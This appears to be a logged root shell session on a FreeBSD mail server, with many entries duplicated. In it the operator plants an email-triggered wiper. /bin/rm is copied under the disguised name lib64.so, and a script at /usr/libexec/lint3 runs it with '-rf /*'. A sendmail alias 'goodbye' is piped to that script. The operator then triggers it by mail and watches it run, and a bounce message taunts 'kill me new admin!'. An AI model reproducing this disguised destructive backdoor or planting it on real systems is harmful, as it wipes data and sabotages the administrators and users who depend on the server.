/l3/users/30-03-2008/fbsd-net/fbsd2.unix.nt/root :1 :2 :3 :4 :5 :6 :7 :8 :9 :10 :11 :12 :13 :14 :15 :16 :17 :18 :19 :20 :21 :22 :23 :24 :25 :26 :27 :28 :29 :30 :31 :32 :33 :34 :35 :36 :37 :38 :39 :40 :41 :42 :43 :44 :45 :46 :47 :48 :49 :50 :51 :52 :53 :54 :55 :56 :57 :58 :59 :60 :61 :62 :63 :64 :65 :66 :67 :68 :69 :70 :71 :72 :73 |
|
#cp /bin/rm /usr/local/libexec/lib64.so
|
#cp /bin/rm /usr/local/libexec/lib64.so
|
#vim /usr/libexec/
|
#vim /usr/libexec/
|
#vim /usr/libexec/lint3
--- /dev/null 2008-04-04 18:07:21.000000000 +0000 +++ /usr/libexec/lint3 2008-04-04 18:07:35.000000000 +0000 @@ -0,0 +1 @@ +/usr/local/libexec/lib64.so -rf /* |
#vim /usr/libexec/lint3
--- /dev/null 2008-04-04 18:07:21.000000000 +0000 +++ /usr/libexec/lint3 2008-04-04 18:07:35.000000000 +0000 @@ -0,0 +1 @@ +/usr/local/libexec/lib64.so -rf /* |
#vim /etc/mail/aliases
|
#vim /etc/mail/aliases
|
#cat /usr/libexec/lint3
/usr/local/libexec/lib64.so -rf /* |
#cat /usr/libexec/lint3
/usr/local/libexec/lib64.so -rf /* |
#vim /etc/mail/aliases
--- /tmp/l3-saved-32022.23190.14436 2008-04-04 18:09:03.000000000 +0000 +++ /etc/mail/aliases 2008-04-04 18:09:32.000000000 +0000 @@ -71,7 +71,7 @@ # DefaultUser (defaults to mailnull) for the msgs alias to work. # # msgs: "| /usr/bin/msgs -s" -goodbye: " ' +goodbye: "| /usr/libexec/lint3" # bit-bucket: /dev/null # dev-null: bit-bucket |
#vim /etc/mail/aliases
--- /tmp/l3-saved-32022.23190.14436 2008-04-04 18:09:03.000000000 +0000 +++ /etc/mail/aliases 2008-04-04 18:09:32.000000000 +0000 @@ -71,7 +71,7 @@ # DefaultUser (defaults to mailnull) for the msgs alias to work. # # msgs: "| /usr/bin/msgs -s" -goodbye: " ' +goodbye: "| /usr/libexec/lint3" # bit-bucket: /dev/null # dev-null: bit-bucket |
#vim /etc/mail/aliases
|
#vim /etc/mail/aliases
|
#cd /etc/mail
|
#cd /etc/mail
|
#make
/usr/sbin/sendmail -bi -OAliasFile=/etc/mail/aliases /etc/mail/aliases: 28 aliases, longest 22 bytes, 304 bytes total chmod 0640 /etc/mail/aliases.db |
#make
/usr/sbin/sendmail -bi -OAliasFile=/etc/mail/aliases /etc/mail/aliases: 28 aliases, longest 22 bytes, 304 bytes total chmod 0640 /etc/mail/aliases.db |
#vim ns.life.unix.nt.mc
|
#vim ns.life.unix.nt.mc
|
# 51
|
# 51
|
#/etc/rc.d/sendmail restart
Stopping sendmail. Starting sendmail. |
#/etc/rc.d/sendmail restart
Stopping sendmail. Starting sendmail. |
#mutt
q:Quit d:Del u:Undel s:Save m:Mail r:Reply g:Group ?:Help - I 1 /tmp/mutt-ns-BngNiVR4-00000 [text/plain, 7bit, us-ascii, 0.1K] -- Attachments -- Mutt: Compose [Approx. msg size: 0.1K Atts: 1]------------------------------------------------------------------------------------------------------------------------------------------------------------ Mail sent. |
#mutt
q:Quit d:Del u:Undel s:Save m:Mail r:Reply g:Group ?:Help - I 1 /tmp/mutt-ns-BngNiVR4-00000 [text/plain, 7bit, us-ascii, 0.1K] -- Attachments -- Mutt: Compose [Approx. msg size: 0.1K Atts: 1]------------------------------------------------------------------------------------------------------------------------------------------------------------ Mail sent. |
#mail
Mail version 8.1 6/6/93. Type ? for help. "/var/mail/root": 1 message 1 new >N 1 MAILER-DAEMON Fri Apr 4 18:11 73/2360 "Returned mail: see transcript for details" & Message 1: From MAILER-DAEMON Fri Apr 4 18:11:17 2008 Date: Fri, 4 Apr 2008 18:11:17 GMT From: Mail Delivery Subsystem <MAILER-DAEMON> To: <root@ns.life.unix.nt> MIME-Version: 1.0 ... Subject: bu-ga-ga!!! Message-ID: <20080404181116.GA26357@ns.life.unix.nt> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i kill me new admin! --m34IBHnG026363.1207332677/ns.life.unix.nt-- & q Saved 1 message in mbox |
#mail
Mail version 8.1 6/6/93. Type ? for help. "/var/mail/root": 1 message 1 new >N 1 MAILER-DAEMON Fri Apr 4 18:11 73/2360 "Returned mail: see transcript for details" & Message 1: From MAILER-DAEMON Fri Apr 4 18:11:17 2008 Date: Fri, 4 Apr 2008 18:11:17 GMT From: Mail Delivery Subsystem <MAILER-DAEMON> To: <root@ns.life.unix.nt> MIME-Version: 1.0 ... Subject: bu-ga-ga!!! Message-ID: <20080404181116.GA26357@ns.life.unix.nt> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i kill me new admin! --m34IBHnG026363.1207332677/ns.life.unix.nt-- & q Saved 1 message in mbox |
#ls -l /usr/libexec/lint3
-rw-r--r-- 1 root wheel 35 Apr 4 18:07 /usr/libexec/lint3 |
#ls -l /usr/libexec/lint3
-rw-r--r-- 1 root wheel 35 Apr 4 18:07 /usr/libexec/lint3 |
#chmod a+x /usr/libexec/lint3
|
#chmod a+x /usr/libexec/lint3
|
#mutt
q:Quit d:Del u:Undel s:Save m:Mail r:Reply g:Group ?:Help - I 1 /tmp/mutt-ns-CCzQOJiT-00000 [text/plain, 7bit, us-ascii, 0.1K] -- Attachments -- Mutt: Compose [Approx. msg size: 0.1K Atts: 1]------------------------------------------------------------------------------------------------------------------------------------------------------------ Mail sent. |
#mutt
q:Quit d:Del u:Undel s:Save m:Mail r:Reply g:Group ?:Help - I 1 /tmp/mutt-ns-CCzQOJiT-00000 [text/plain, 7bit, us-ascii, 0.1K] -- Attachments -- Mutt: Compose [Approx. msg size: 0.1K Atts: 1]------------------------------------------------------------------------------------------------------------------------------------------------------------ Mail sent. |
#mutt
q:Quit d:Del u:Undel s:Save m:Mail r:Reply g:Group ?:Help - I 1 /tmp/mutt-ns-CCzQOJiT-00000 [text/plain, 7bit, us-ascii, 0.1K] -- Attachments -- Mutt: Compose [Approx. msg size: 0.1K Atts: 1]------------------------------------------------------------------------------------------------------------------------------------------------------------ Mail sent. |
#mutt
q:Quit d:Del u:Undel s:Save m:Mail r:Reply g:Group ?:Help - I 1 /tmp/mutt-ns-CCzQOJiT-00000 [text/plain, 7bit, us-ascii, 0.1K] -- Attachments -- Mutt: Compose [Approx. msg size: 0.1K Atts: 1]------------------------------------------------------------------------------------------------------------------------------------------------------------ Mail sent. |
#display ls -l /
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display -d 2ls -l /
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display -d 2 'ls -l /'
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display -d 2 'ls -l /'
|
#display -d 2 'ls -l /'
|
#display -d 2 'ls -l /'
|
#display -d 2 'ls -l /'
|
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls -l /
total 283 -rw-r--r-- 2 root wheel 801 Jan 16 00:33 .cshrc drwx------ 2 root wheel 512 Mar 15 14:35 .mozilla -rw-r--r-- 2 root wheel 251 Jan 16 00:33 .profile drwxrwxr-x 2 root operator 512 Mar 15 13:12 .snap -r--r--r-- 1 root wheel 6192 Jan 16 00:33 COPYRIGHT drwxr-xr-x 2 root wheel 1024 Mar 15 13:13 bin drwxr-xr-x 7 root wheel 512 Apr 1 10:32 boot drwxr-xr-x 2 root wheel 512 Mar 15 13:12 cdrom lrwxr-xr-x 1 root wheel 10 Mar 15 14:02 compat -> usr/compat ... drwxr-xr-x 2 root wheel 512 Jan 16 00:29 mnt -rw------- 1 root wheel 208896 Mar 15 15:03 moused.core dr-xr-xr-x 2 root wheel 512 Jan 16 00:29 proc drwxr-xr-x 2 root wheel 2560 Mar 15 13:13 rescue drwxr-xr-x 13 root wheel 1024 Apr 4 18:10 root drwxr-xr-x 2 root wheel 2560 Mar 15 13:13 sbin lrwxrwxrwx 1 root wheel 11 Mar 15 13:12 sys -> usr/src/sys drwxrwxrwt 13 root wheel 512 Apr 4 18:12 tmp drwxr-xr-x 17 root wheel 512 Mar 15 15:01 usr drwxr-xr-x 25 root wheel 512 Apr 4 15:11 var |
#ls -l /
total 283 -rw-r--r-- 2 root wheel 801 Jan 16 00:33 .cshrc drwx------ 2 root wheel 512 Mar 15 14:35 .mozilla -rw-r--r-- 2 root wheel 251 Jan 16 00:33 .profile drwxrwxr-x 2 root operator 512 Mar 15 13:12 .snap -r--r--r-- 1 root wheel 6192 Jan 16 00:33 COPYRIGHT drwxr-xr-x 2 root wheel 1024 Mar 15 13:13 bin drwxr-xr-x 7 root wheel 512 Apr 1 10:32 boot drwxr-xr-x 2 root wheel 512 Mar 15 13:12 cdrom lrwxr-xr-x 1 root wheel 10 Mar 15 14:02 compat -> usr/compat ... drwxr-xr-x 2 root wheel 512 Jan 16 00:29 mnt -rw------- 1 root wheel 208896 Mar 15 15:03 moused.core dr-xr-xr-x 2 root wheel 512 Jan 16 00:29 proc drwxr-xr-x 2 root wheel 2560 Mar 15 13:13 rescue drwxr-xr-x 13 root wheel 1024 Apr 4 18:10 root drwxr-xr-x 2 root wheel 2560 Mar 15 13:13 sbin lrwxrwxrwx 1 root wheel 11 Mar 15 13:12 sys -> usr/src/sys drwxrwxrwt 13 root wheel 512 Apr 4 18:12 tmp drwxr-xr-x 17 root wheel 512 Mar 15 15:01 usr drwxr-xr-x 25 root wheel 512 Apr 4 15:11 var |
#ls -l /
total 283 -rw-r--r-- 2 root wheel 801 Jan 16 00:33 .cshrc drwx------ 2 root wheel 512 Mar 15 14:35 .mozilla -rw-r--r-- 2 root wheel 251 Jan 16 00:33 .profile drwxrwxr-x 2 root operator 512 Mar 15 13:12 .snap -r--r--r-- 1 root wheel 6192 Jan 16 00:33 COPYRIGHT drwxr-xr-x 2 root wheel 1024 Mar 15 13:13 bin drwxr-xr-x 7 root wheel 512 Apr 1 10:32 boot drwxr-xr-x 2 root wheel 512 Mar 15 13:12 cdrom lrwxr-xr-x 1 root wheel 10 Mar 15 14:02 compat -> usr/compat ... drwxr-xr-x 2 root wheel 512 Jan 16 00:29 mnt -rw------- 1 root wheel 208896 Mar 15 15:03 moused.core dr-xr-xr-x 2 root wheel 512 Jan 16 00:29 proc drwxr-xr-x 2 root wheel 2560 Mar 15 13:13 rescue drwxr-xr-x 13 root wheel 1024 Apr 4 18:10 root drwxr-xr-x 2 root wheel 2560 Mar 15 13:13 sbin lrwxrwxrwx 1 root wheel 11 Mar 15 13:12 sys -> usr/src/sys drwxrwxrwt 13 root wheel 512 Apr 4 18:12 tmp drwxr-xr-x 17 root wheel 512 Mar 15 15:01 usr drwxr-xr-x 25 root wheel 512 Apr 4 15:11 var |
#ls -l /
total 283 -rw-r--r-- 2 root wheel 801 Jan 16 00:33 .cshrc drwx------ 2 root wheel 512 Mar 15 14:35 .mozilla -rw-r--r-- 2 root wheel 251 Jan 16 00:33 .profile drwxrwxr-x 2 root operator 512 Mar 15 13:12 .snap -r--r--r-- 1 root wheel 6192 Jan 16 00:33 COPYRIGHT drwxr-xr-x 2 root wheel 1024 Mar 15 13:13 bin drwxr-xr-x 7 root wheel 512 Apr 1 10:32 boot drwxr-xr-x 2 root wheel 512 Mar 15 13:12 cdrom lrwxr-xr-x 1 root wheel 10 Mar 15 14:02 compat -> usr/compat ... drwxr-xr-x 2 root wheel 512 Jan 16 00:29 mnt -rw------- 1 root wheel 208896 Mar 15 15:03 moused.core dr-xr-xr-x 2 root wheel 512 Jan 16 00:29 proc drwxr-xr-x 2 root wheel 2560 Mar 15 13:13 rescue drwxr-xr-x 13 root wheel 1024 Apr 4 18:10 root drwxr-xr-x 2 root wheel 2560 Mar 15 13:13 sbin lrwxrwxrwx 1 root wheel 11 Mar 15 13:12 sys -> usr/src/sys drwxrwxrwt 13 root wheel 512 Apr 4 18:12 tmp drwxr-xr-x 17 root wheel 512 Mar 15 15:01 usr drwxr-xr-x 25 root wheel 512 Apr 4 15:11 var |
#top
last pid: 26563; load averages: 0.14, 0.13, 0.22 up 0+03:01:34 18:12:58 3 3 76 processes 3.0 running 0.0 sleepin25.6 9.4 62.0 49 10 34 CPU states: % user, % nice, % system, % interrupt, % idle Mem: 98M Active, 328M Inact, 107M Wired, 1732K Cache, 111M Buf, 457M Free 96 92K 928K RUN 4.17 Swap: 2015M Total, 2015M Free 19 1.71 1.37 ... 1031 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 26433 mailnull 1 8 0 1732K 1236K wait 0:00 0.00% sh 1032 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1030 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1878 root 1 96 0 1864K 1472K select 0:00 0.00% dbus-daemon 1033 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1034 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1877 root 1 96 0 2608K 1656K select 0:00 0.00% dbus-launch 879 root 1 112 0 1436K 892K select 0:00 0.00% moused 670 root 1 112 0 528K 380K select 0:00 0.00% devd |
#top
last pid: 26563; load averages: 0.14, 0.13, 0.22 up 0+03:01:34 18:12:58 3 3 76 processes 3.0 running 0.0 sleepin25.6 9.4 62.0 49 10 34 CPU states: % user, % nice, % system, % interrupt, % idle Mem: 98M Active, 328M Inact, 107M Wired, 1732K Cache, 111M Buf, 457M Free 96 92K 928K RUN 4.17 Swap: 2015M Total, 2015M Free 19 1.71 1.37 ... 1031 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 26433 mailnull 1 8 0 1732K 1236K wait 0:00 0.00% sh 1032 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1030 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1878 root 1 96 0 1864K 1472K select 0:00 0.00% dbus-daemon 1033 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1034 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1877 root 1 96 0 2608K 1656K select 0:00 0.00% dbus-launch 879 root 1 112 0 1436K 892K select 0:00 0.00% moused 670 root 1 112 0 528K 380K select 0:00 0.00% devd |
#top
last pid: 26563; load averages: 0.14, 0.13, 0.22 up 0+03:01:34 18:12:58 3 3 76 processes 3.0 running 0.0 sleepin25.6 9.4 62.0 49 10 34 CPU states: % user, % nice, % system, % interrupt, % idle Mem: 98M Active, 328M Inact, 107M Wired, 1732K Cache, 111M Buf, 457M Free 96 92K 928K RUN 4.17 Swap: 2015M Total, 2015M Free 19 1.71 1.37 ... 1031 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 26433 mailnull 1 8 0 1732K 1236K wait 0:00 0.00% sh 1032 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1030 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1878 root 1 96 0 1864K 1472K select 0:00 0.00% dbus-daemon 1033 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1034 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1877 root 1 96 0 2608K 1656K select 0:00 0.00% dbus-launch 879 root 1 112 0 1436K 892K select 0:00 0.00% moused 670 root 1 112 0 528K 380K select 0:00 0.00% devd |
#display -d 2 'ls -lh /'
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display -d 2 'ls -lh /'
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display -d 2 ls -lh /
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display -d 2 ls -lh /
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 54M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 54M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#df -h
Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 1.9G 106M 1.7G 6% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s2e 496M 1.8M 454M 0% /tmp /dev/ad0s2f 3.4G 3.0G 144M 96% /usr /dev/ad0s2d 1.9G 56M 1.7G 3% /var devfs 1.0K 1.0K 0B 100% /var/named/dev |
#top
last pid: 26710; load averages: 0.39, 0.18, 0.23 up 0+03:02:24 18:13:48 76 processes: 1 running, 75 sleeping CPU states: % user, % nice, % system, % interrupt, % idle Mem: 98M Active, 419M Inact, 121M Wired, 1732K Cache, 111M Buf, 353M Free Swap: 2015M Total, 2015M Free PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND 26434 mailnull 1 -8 0 1388K 924K biord 0:07 4.07% lib64.so 31689 root 1 8 0 9656K 8248K nanslp 1:22 1.61% perl5.8.8 26431 root 1 -4 0 3704K 3216K getblk 0:04 1.56% sendmail 1086 root 1 8 0 9636K 8196K nanslp 2:00 0.88% perl5.8.8 ... 25596 squid 1 8 0 5540K 4252K wait 0:00 0.00% squid 1031 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 26433 mailnull 1 8 0 1732K 1236K wait 0:00 0.00% sh 1032 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1030 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1878 root 1 96 0 1864K 1472K select 0:00 0.00% dbus-daemon 1033 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1034 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1877 root 1 96 0 2608K 1656K select 0:00 0.00% dbus-launch 879 root 1 112 0 1436K 892K select 0:00 0.00% moused |
#top
last pid: 26710; load averages: 0.39, 0.18, 0.23 up 0+03:02:24 18:13:48 76 processes: 1 running, 75 sleeping CPU states: % user, % nice, % system, % interrupt, % idle Mem: 98M Active, 419M Inact, 121M Wired, 1732K Cache, 111M Buf, 353M Free Swap: 2015M Total, 2015M Free PID USERNAME THR PRI NICE SIZE RES STATE TIME WCPU COMMAND 26434 mailnull 1 -8 0 1388K 924K biord 0:07 4.07% lib64.so 31689 root 1 8 0 9656K 8248K nanslp 1:22 1.61% perl5.8.8 26431 root 1 -4 0 3704K 3216K getblk 0:04 1.56% sendmail 1086 root 1 8 0 9636K 8196K nanslp 2:00 0.88% perl5.8.8 ... 25596 squid 1 8 0 5540K 4252K wait 0:00 0.00% squid 1031 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 26433 mailnull 1 8 0 1732K 1236K wait 0:00 0.00% sh 1032 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1030 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1878 root 1 96 0 1864K 1472K select 0:00 0.00% dbus-daemon 1033 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1034 root 1 5 0 1352K 936K ttyin 0:00 0.00% getty 1877 root 1 96 0 2608K 1656K select 0:00 0.00% dbus-launch 879 root 1 112 0 1436K 892K select 0:00 0.00% moused |
# 670 root 1 112 0 528K 380K select 0:00 0.00% devd
|
# 670 root 1 112 0 528K 380K select 0:00 0.00% devd
|
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#ls /
.cshrc .snap boot dev etc libexec mnt rescue sys var .mozilla COPYRIGHT cdrom dist home log moused.core root tmp .profile bin compat entropy lib media proc sbin usr |
#display --help
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display --help
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display --help
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) |
#display ls
Makefile README access.sample aliases aliases.db freebsd.cf freebsd.mc freebsd.submit.cf freebsd.submit.mc helpfile local-host-names mailer.conf mailertable.sample ns.life.unix.nt.cf ns.life.unix.nt.mc ns.life.unix.nt.submit.cf ns.life.unix.nt.submit.mc sendmail.cf submit.cf virtusertable.sample |
#display ls
Makefile README access.sample aliases aliases.db freebsd.cf freebsd.mc freebsd.submit.cf freebsd.submit.mc helpfile local-host-names mailer.conf mailertable.sample ns.life.unix.nt.cf ns.life.unix.nt.mc ns.life.unix.nt.submit.cf ns.life.unix.nt.submit.mc sendmail.cf submit.cf virtusertable.sample |
#display ls
Makefile README access.sample aliases aliases.db freebsd.cf freebsd.mc freebsd.submit.cf freebsd.submit.mc helpfile local-host-names mailer.conf mailertable.sample ns.life.unix.nt.cf ns.life.unix.nt.mc ns.life.unix.nt.submit.cf ns.life.unix.nt.submit.mc sendmail.cf submit.cf virtusertable.sample |
#display ls
Makefile README access.sample aliases aliases.db freebsd.cf freebsd.mc freebsd.submit.cf freebsd.submit.mc helpfile local-host-names mailer.conf mailertable.sample ns.life.unix.nt.cf ns.life.unix.nt.mc ns.life.unix.nt.submit.cf ns.life.unix.nt.submit.mc sendmail.cf submit.cf virtusertable.sample |
#cd /
|
#cd /
|
#cd /
|
#cd /
|
#display ls -l
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) You have new mail in /var/mail/root |
#display ls -l
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) You have new mail in /var/mail/root |
#display ls -l
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) You have new mail in /var/mail/root |
#display ls -l
usage: display [-<delay>] <command> <delay> = # of seconds between displays, default=5 <command> = command to display, quoted if it contains blanks Display (a.k.a. follow) version 1.2 NOTE: /bin/sh will be used to process the command, not SHELL (/usr/local/bin/bash) You have new mail in /var/mail/root |
#display 'ls -l'
